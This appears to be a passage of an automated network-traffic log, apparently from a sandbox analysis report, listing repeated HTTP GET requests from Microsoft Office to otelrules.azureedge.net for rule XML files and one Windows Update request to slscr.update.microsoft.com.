Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Nyt+PK6Xcd5u4zY&MD=LA1sdeKR HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
